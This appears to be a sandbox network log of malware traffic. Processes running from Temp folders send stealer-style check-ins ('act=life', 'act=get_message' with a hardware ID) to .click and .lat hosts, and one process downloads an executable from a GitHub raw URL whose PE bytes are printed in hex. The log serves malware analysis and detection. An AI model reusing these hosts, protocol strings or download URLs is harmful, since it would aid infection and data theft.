2024-12-19 13:10:45 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: cheapptaxysu.click
2024-12-19 13:10:45 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d 26 68 77 69 64 3d 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=CZJvss--&j=&hwid=604F8F8B4F114B70AC8923850305D13E
2024-12-19 13:10:46 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3dhdn4pu9a0q2a8pboacd0t8iu; expires=Mon, 14 Apr 2025 06:57:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z8ftq2JimSdcZye1QTw98MniUGce0bEe8uR%2BJSdW65%2F38txBn6BJA0oHycTrNFD7uXy8a1b380HeeHBOpQbRfXkMTM3tT60IdxcQrgMe%2FUvcZqW9KEYHscSn8oG5pJBmgMs%2BWGI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a27b9e27c3f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1492&rtt_var=571&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1068&delivery_rate=1896103&cwnd=160&unsent_bytes=0&cid=e4c5ac646835458d&ts=962&x=0"
2024-12-19 13:10:46 UTC	54	IN	Data Raw: 33 30 0d 0a 49 35 45 53 68 65 6d 63 46 52 2f 66 6c 71 35 39 71 4d 4e 57 2b 32 70 72 58 78 57 49 7a 68 41 62 38 38 2f 56 30 75 6b 51 7a 43 42 34 7a 41 3d 3d 0d 0a Data Ascii: 30I5EShemcFR/flq59qMNW+2prXxWIzhAb88/V0ukQzCB4zA==
2024-12-19 13:10:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49896	172.67.179.109	443	4388	C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:11:02 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-19 13:11:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 13:11:02 UTC	1118	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:11:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7v4o2gqat5hugeet3k07pns2bk; expires=Mon, 14 Apr 2025 06:57:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t20ZvE83Gjfs6JMJDkBzKXpxL5eV5CIQOndzw0hnjg%2FBHq6cnWztLx71Fxhdi8OyK368wNKd%2FZFHTn7T4gtw7aLHUaZju7xACdSHmSHuzV53cOAUHvc2LWR%2BbGFlIDDC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a2dedda1439a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1679&rtt_var=741&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1372825&cwnd=233&unsent_bytes=0&cid=a6d9eba705318f3b&ts=1332&x=0"
2024-12-19 13:11:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 13:11:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49905	20.233.83.145	443	5968	C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:11:05 UTC	117	OUT	GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-19 13:11:06 UTC	568	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 19 Dec 2024 13:11:06 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-19 13:11:06 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49911	185.199.109.133	443	5968	C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:11:07 UTC	128	OUT	GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-19 13:11:08 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275904 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "f6e395433fd455488d8d231a7e135bc540ae3f4d4024c956534b849ab403e860" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C298:CAE1D:65538C:721244:67641B6A Accept-Ranges: bytes Date: Thu, 19 Dec 2024 13:11:08 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740026-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734613868.003830,VS0,VE164 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: e3e69c8f9ee2ddb43384d3174fbb3937b0bc90cc Expires: Thu, 19 Dec 2024 13:16:08 GMT Source-Age: 0
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 ec 03 00 00 ac 00 00 00 00 00 00 f7 78 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 50 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gx@;@ P-
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 0e 7f 54 d0 cc 87 8b 5f c6 42 59 ee 49 48 fd cb 31 5a 82 d1 c3 d1 61 9b 5e fd 57 db b5 b5 3e 51 67 3b 63 af 11 89 31 1a d4 8b 30 57 33 eb 43 43 55 52 38 e5 c0 b6 d6 b0 63 62 2f 79 94 1a 5e cd f2 ad bd e1 46 7c 66 5c 7a 31 d1 ec dd a3 d0 59 5a 9f 30 3a d4 e6 44 00 91 39 74 0d 99 51 63 9f cc 9c 97 3b f9 ac 97 9e a7 ca d2 eb 15 06 c6 ec 0b 1e 17 48 a8 63 4e c6 12 ba 90 93 2c 12 d4 60 e7 30 25 88 e3 c5 af 0b cf f9 9a cc b8 c5 01 11 0c 2d a2 23 67 22 ae fd 24 1e 22 09 af b9 11 d9 5a c1 d6 49 52 12 f8 5f 8f 3c ff 3b f7 2d 2c 05 47 96 1a 12 16 70 77 7a 70 f0 1a 01 69 13 c8 14 ab e9 86 13 f7 89 f8 82 34 08 51 9d 20 75 f4 ff 41 f5 60 19 d3 4b 0f 23 84 dd 8a 6c 32 8d 7b 77 55 43 8e a4 a1 bb 9a 1a 24 ae d3 81 76 6f 95 35 dc 6c 55 4a f1 81 d5 4d d9 84 ac 87 69 f4 e5 Data Ascii: T_BYIH1Za^W>Qg;c10W3CCUR8cb/y^F\|f\z1YZ0:D9tQc;HcN,`0%-#g"$"ZIR_<;-,Gpwzpi4Q uA`K#l2{wUC$vo5lUJMi
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 9d e9 c8 ac a2 4e 78 1f 42 08 1d dd 91 fb e3 c4 d3 53 70 95 d8 12 55 99 4d d4 5a 23 46 b1 1f 5a 91 5f a3 af 50 e5 26 cb 28 18 67 eb 6f 3e 0a 95 e8 c2 9d 99 43 e7 53 1b 05 00 3f 0a ba 73 e3 b7 09 81 eb 04 48 7e 49 67 aa 91 73 7f c7 31 36 f1 2b b3 03 b6 7f 5e db 8e a4 13 e3 ed 8d 45 99 30 89 56 fa 11 dd 91 37 75 73 5c fe 7d 7c 9b 89 d5 a5 70 e5 01 37 56 22 a0 b1 63 5e 42 af 07 ac de 33 9d 7a 20 8e 8d 06 6f c9 75 94 3c b4 5b 4a 6a a5 54 95 f6 18 af a0 5b 6a 58 3a d2 81 26 92 ee 17 7a 24 fe ee 41 22 31 80 ff df c8 a8 cb c5 9e e9 4f 60 4a 2b 75 e6 44 1b 86 ac 35 53 46 ce bd 29 49 5f 09 e4 89 17 b8 86 90 44 de 65 35 64 cb dc d3 85 46 40 49 55 96 da 32 4a e3 91 48 16 80 69 05 54 20 47 88 f4 e1 2e 1f ff 11 6d 87 93 62 b9 a2 12 95 ee 55 17 0a f8 2f 9a 2c 46 66 a0 Data Ascii: NxBSpUMZ#FZ_P&(go>CS?sH~Igs16+^E0V7us\}\|p7V"c^B3z ou<[JjT[jX:&z$A"1O`J+uD5SF)I_De5dF@IU2JHiT G.mbU/,Ff
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: f1 78 84 3d 8c 25 5e d0 c4 01 d9 92 bb 7f bc 61 9a 73 82 68 6d f7 c4 36 2a 68 69 f9 9d fc 06 cd 2d 8e 9b 32 53 16 82 88 01 ee 97 fb 71 1d 50 af 95 ac 96 80 0b bb b2 76 df 70 11 73 bd 31 04 52 b6 bf 0e aa b1 b1 2c eb 54 2b 15 c6 45 a9 73 42 88 44 30 f1 3d 77 40 ce 07 c7 7f dc e9 98 8f 55 74 ca ca e5 17 e5 8e bf 5f 91 a4 3b ed d2 b8 50 05 f0 8a ac 75 80 ec 18 2a bc 87 b5 50 94 84 43 54 a1 65 f6 a2 34 b0 63 58 59 98 a8 d1 93 c3 c8 c1 87 9c 54 9b 46 dc 02 49 7a 1d 85 00 be d3 45 82 02 cc 71 e6 0c 91 2c d4 93 4a d3 54 9c ba 68 d8 48 74 f0 4c 08 98 03 7d 59 de 02 c1 1e d2 cf ca ad b0 7f 8f c3 dc bd c2 b9 93 9a ee 98 bc da ee 8c 05 61 d9 7e b7 ac ea bd f5 b2 ba 81 2a 96 5b d4 02 53 aa b5 e8 0e f5 31 a6 2d 26 36 c3 c3 2f 38 32 d9 46 34 4a da 7c a3 ad 41 7d 0e 29 Data Ascii: x=%^ashm6hi-2SqPvps1R,T+EsBD0=w@Ut_;PuPCTe4cXYTFIzEq,JThHtL}Ya~*[S1-&6/82F4J\|A})
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 7f 3c fb cf 9b ee e5 f5 61 04 ec 17 45 da 7a 22 fb 89 b1 6e a8 3c 39 03 48 4f a6 38 c9 32 32 a0 f3 de db f8 ac f9 60 db 2c de a3 b3 61 f0 7f db 6b 32 72 05 34 1b 2e da 3b fe 0a b0 3c 31 bf 0a 3e 0c 9d 8f be a0 b8 2d 8b e3 17 00 96 b5 14 c6 0b 31 e5 33 f3 e2 f4 b8 62 fc eb 87 6b bf 83 6a ea 82 2f 67 5c a0 3f dc 66 9b 8b 69 3b 42 0d 62 b6 06 8c 74 8d dc 29 30 7a 57 67 e2 38 c1 23 00 6e 42 48 ca da bb f5 c7 01 f4 19 03 69 65 6d e5 b0 ea ec 8e f1 7e 27 fe 5c ec 10 5a 69 9d 5c b5 ed 55 10 9a 3c df c4 3d fa 6e 15 73 ba 43 75 e8 cd 0b 2f 23 f3 26 c1 81 f4 6a 6c 33 fd b4 fc 44 9e 68 cb 8b b7 8b 38 f0 26 cc 60 6b 6c 13 a0 48 72 54 63 ff d0 69 80 78 e0 0a d8 62 bb 4d 5d 85 36 3c 9e 83 4f 77 56 60 6d a4 18 2c 70 5e 18 63 5c 10 2b a2 6c 51 4c 48 dc 09 7a 55 4f f1 08 Data Ascii: <aEz"n<9HO822`,ak2r4.;<1>-13bkj/g\?fi;Bbt)0zWg8#nBHiem~'\Zi\U<=nsCu/#&jl3Dh8&`klHrTcixbM]6<OwV`m,p^c\+lQLHzUO
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: cd 3a 89 7c 61 f9 ad e9 47 47 81 23 fc 3a 2f b5 f0 4d 0b 8b 29 d0 2b 7f 92 b1 2f ff 4c 92 2e ac dd 43 f6 04 93 d5 ff 41 01 3b 9a b7 74 94 f0 2d f7 6f fe c9 1a 4a e2 72 10 49 be 79 64 1e 59 98 c5 73 c1 2a d2 fa ae 9a 87 53 c6 22 fe 8d 75 6a ab 48 e1 0b c7 82 2f 89 a7 52 6e 2e fb 11 41 32 56 e6 f7 04 a9 c2 7e a9 73 03 b5 5e 4c b5 79 b8 36 79 89 d0 e1 a9 f6 25 00 ee 74 88 51 73 0e b8 8a 09 dd bc 9f 34 a0 74 5a 0c 14 42 ca 33 44 ed b5 46 6e e8 2b e7 68 75 d2 d0 6a 06 80 61 d9 4c 48 d3 75 e6 7b ea 03 9c 56 b3 9a a2 fe 7e 5d c7 98 7c ba a6 70 30 fc 93 de 65 4c 0d 22 8d ae 53 69 de 64 a8 93 ee 6e 80 34 db 95 7f e2 f3 f8 6e b6 ca 18 0f 9b bd 92 b3 88 92 2f a1 09 99 e0 be 9a da 67 4a 12 e3 a6 80 3e bc 60 ae d1 a3 80 48 74 82 1e 7c 29 e8 86 3a 66 74 63 bf 32 84 b6 Data Ascii: :\|aGG#:/M)+/L.CA;t-oJrIydYs*S"ujH/Rn.A2V~s^Ly6y%tQs4tZB3DFn+hujaLHu{V~]\|p0eL"Sidn4n/gJ>`Ht\|):ftc2
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 2e 34 d2 36 c0 1c 87 05 5c 19 ce a7 bd 39 4e 7d 8b 06 42 78 48 49 6f d7 9e dc 3a 51 28 cf d3 b8 60 bb 66 7f 15 75 62 46 09 a7 b7 e2 4e f9 4c ce 36 6b 96 d8 1c 3d 12 ab 4f fa 4a 93 46 1d e0 e5 da 7b 7e ea 20 1a 24 16 a4 57 46 00 78 d6 d2 52 42 48 61 fb 11 84 e4 88 38 35 08 87 fe d7 21 d2 15 3b b1 d6 32 14 35 9b f5 24 fd 97 82 12 89 fb c8 42 80 ab c0 fe 57 3f b0 f7 05 cf c8 4c 9d 0d 28 61 a6 4a ff df 92 66 f3 77 e4 f4 ab b8 1a cc e3 84 f3 c5 e8 a6 23 97 5e 97 2e 49 f7 87 b2 1c e7 c3 6d 90 57 d5 93 b3 a0 57 ea 3b 13 7f a6 ac 57 86 84 70 7a 33 ee a4 49 61 6c c4 db 59 bf 8b 5d d3 90 df 70 fd 12 fb 6f ef 9c ec 2b 51 d9 e7 01 c0 d1 e4 bd b0 75 e7 7c 94 e3 8c 0f 18 6c 6a 23 dc 80 94 92 65 ab fb 9e 3e e6 dd 0f dc 18 39 0c 3b 45 ff 79 45 9c 77 a8 ef 64 09 40 9f a1 Data Ascii: .46\9N}BxHIo:Q(`fubFNL6k=OJF{~ $WFxRBHa85!;25$BW?L(aJfw#^.ImWW;Wpz3IalY]po+Qu\|lj#e>9;EyEwd@
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 6f 27 c8 2d a7 9d ad 5b 54 d5 1a 44 4a cf 01 57 bf fa c7 40 0f 62 46 a9 78 3b 53 2e c9 60 34 8b 54 3e c2 aa 4c 64 e8 0f 4d 01 52 ca 2e b9 4a 41 71 e9 1a 17 8b 36 85 2b 37 1c b2 47 c3 92 79 78 44 aa e4 73 45 c3 7a ec a7 e8 f7 97 f9 e5 71 06 ae 79 53 00 5a b4 d4 63 52 3c 66 0d 2b ba 47 e1 89 5a ea fe 50 67 3d 24 e0 25 c3 bf 2c 06 02 81 ba 53 b7 8c e7 69 41 5d 67 e5 27 5f ec 50 ae ad 59 7c 47 c4 d3 9c 51 f8 c1 d4 af f7 51 63 69 25 2f 55 56 a6 7f 1d 5e 56 09 83 c4 2a 95 b4 0c d0 59 9a b3 d2 54 43 c2 53 ce ca 88 f2 ab 02 49 f5 6a 13 ba 37 af 1a e5 a9 c6 63 09 86 3a e5 69 a5 da 02 b7 22 96 08 04 32 f5 0f b5 82 78 1a 6a f8 99 d4 fd 19 e7 d9 d9 7c a0 8f df f7 83 e0 1f 60 60 97 60 39 64 30 6a d4 64 cd b7 ed b6 a7 f9 39 b4 fe 6f c4 7e 33 ca a7 36 25 c0 31 bf 78 3c Data Ascii: o'-[TDJW@bFx;S.`4T>LdMR.JAq6+7GyxDsEzqySZcR<f+GZPg=$%,SiA]g'_PY\|GQQci%/UV^V*YTCSIj7c:i"2xj\|```9d0jd9o~36%1x<
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: ba 49 69 e7 8f 7d d1 5f af da 49 9c 64 28 98 59 36 b3 a4 1d f8 cb 15 30 7b 25 96 6a 09 2c f9 20 89 72 a7 05 a6 ea 8d 9a 4d 6f 93 43 f8 1a 0b 86 c5 cd 49 b1 ae e6 66 89 2c 31 6d 66 65 ba b9 26 f7 bc e2 7e 04 08 8b 2a 14 e9 10 fd 4f e9 bc c6 a4 d3 a8 ff e7 d6 37 51 ca 11 be 2b c4 19 d5 58 47 e5 06 47 a6 80 1f cd 2c cd 1b 2f fe bf 7a e4 22 a8 58 99 b7 c2 f4 2a 61 f9 4b 1f 10 3a 80 ad c6 6c c2 ad 0a e8 42 64 3a 1d 96 d8 35 ce 0e d9 3d a7 34 55 40 23 4e ec 0a 67 8f e3 ae f1 06 2c 05 91 70 68 31 70 bc 85 3c c2 34 7e 0b 71 0b ef a9 16 2d 07 43 97 d6 3c d9 85 4d 50 fa be f0 ac b9 0b 8b 20 9b 22 09 1f cb 88 e8 11 b7 86 f0 e6 ed 30 8d 84 c5 b5 0c 33 84 45 94 ff 9e 5f 82 1d d6 2a c6 a7 07 43 f5 be f1 7d dc 32 9e 71 98 2a 5e aa e3 b3 e4 3c fe fd 1c ba 1b fe 1d c0 d9 Data Ascii: Ii}_Id(Y60{%j, rMoCIf,1mfe&~O7Q+XGG,/z"XaK:lBd:5=4U@#Ng,ph1p<4~q-C<MP "03E_C}2q^<
2024-12-19 13:11:08 UTC	1378	IN	Data Raw: 52 e0 1f 58 23 09 4b ac 81 56 f8 11 a3 e9 9a 43 0c 60 01 1d ac 7a b7 e5 2b f8 87 42 a7 8f 08 53 15 76 f7 ad 7b 62 db 9b f9 e8 88 8f 97 0a 19 31 58 c4 e7 2b 34 56 b1 00 87 dc 42 8f cf 0b 67 f8 38 50 45 9a 20 8e fa c9 f1 85 14 bc 23 26 13 67 95 23 3c fc 05 7b 68 9c 69 8d 73 5b fc c0 db 6e da 60 44 01 ed 8b 92 68 d9 2c 74 c3 17 41 9d 40 7d e1 6f c6 35 d8 97 5d ee 57 5b 90 e9 51 03 2c 68 50 87 88 56 9d 16 a8 1b ac 3f 66 16 fd ff b9 0c 32 82 96 49 d1 4a 63 f5 a8 47 9b 08 b8 45 61 aa 63 64 be c9 9a f2 0b dd 64 ef 60 ad 54 73 91 db b5 0f 39 94 2a 4d b1 f6 81 20 51 06 ac df e4 cd 78 af 96 19 fe 1a c8 4a 65 e8 79 5d cc c5 8d d9 1d f9 22 55 8a 86 da 2b f0 00 1c 49 5f d3 1c 62 bf 22 c3 33 ec d2 ad d3 ab 98 d2 42 8b 64 a6 41 08 fd 7f a6 3c da c3 89 a7 2e 33 dc 08 02 Data Ascii: RX#KVC`z+BSv{b1X+4VBg8PE #&g#<{his[n`Dh,tA@}o5]W[Q,hPV?f2IJcGEacdd`Ts9*M QxJey]"U+I_b"3BdA<.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49927	104.21.66.85	443	4916	C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:11:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: aspecteirs.lat
2024-12-19 13:11:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 13:11:14 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:11:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eaomta47bmudhru5sescc1c8fm; expires=Mon, 14 Apr 2025 06:57:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=37kGU1FPfJE6NLdC49PyVua3w1ML8PMdYl9BsIhO3t57Ge3Ng677eRClfEah4Px8dCSeORZgPqgd7ts7%2FiiwgZ63Kv%2FCqXo3FQ4iA5OffMN8n%2FxXcuJaVkSjU%2BKVHqnTbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a323bf4bc413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1632&rtt_var=627&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1722713&cwnd=173&unsent_bytes=0&cid=e8cd9fe7d07c73dd&ts=1062&x=0"
2024-12-19 13:11:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 13:11:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49934	104.21.66.85	443	4916	C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:11:15 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: aspecteirs.lat
2024-12-19 13:11:15 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CVmr0t--installs&j=
2024-12-19 13:11:16 UTC	1119	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:11:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bvnmmt60l8lfaee9nr1nga6k9n; expires=Mon, 14 Apr 2025 06:57:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ciQ5NhCMv7pefiE2A5f8IGX47KfHJ4hulvmHiTBYjbGhIeCZgCiG4dFycQa9PN5n40CZICDdrh905SYOgKmyEAPRVhcUObTO1TlodXy39UeWwfJlURlAh6MHXl3BGkFfDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a33229d17d1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1796&rtt_var=701&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=948&delivery_rate=1529596&cwnd=192&unsent_bytes=0&cid=38121c8357eee140&ts=842&x=0"
2024-12-19 13:11:16 UTC	250	IN	Data Raw: 33 35 33 30 0d 0a 4e 51 46 6e 47 37 73 35 66 65 53 34 52 4f 4f 41 50 50 75 2f 6d 6e 4f 76 4f 7a 70 4b 54 73 42 59 56 63 68 45 48 47 33 73 68 70 64 4f 49 78 45 35 67 51 31 52 78 73 73 68 77 62 70 49 69 63 72 2f 58 34 31 61 58 6d 68 30 70 6a 6b 35 75 79 45 77 54 35 72 72 74 51 39 6e 42 6e 66 49 58 46 48 47 33 54 7a 42 75 6d 65 41 6e 66 38 64 6a 51 45 59 4c 79 53 69 4f 54 6d 71 4a 58 63 43 6e 4f 72 30 58 57 30 41 63 39 35 61 47 59 58 55 4b 59 62 6c 57 5a 72 56 39 42 72 43 55 31 64 6f 59 75 49 39 4c 2b 70 2b 50 69 43 4a 38 76 5a 34 59 42 52 77 6d 55 52 52 6e 35 6f 68 6a 61 49 47 32 64 37 2f 45 63 4e 64 58 69 45 6d 71 44 41 78 71 79 42 32 48 59 58 67 2f 31 31 6a 41 33 4c 55 55 77 32 49 33 69 36 4e 34 31 4f 61 6e 62 5a 52 79 6b 45 59 63 47 7a 78 Data Ascii: 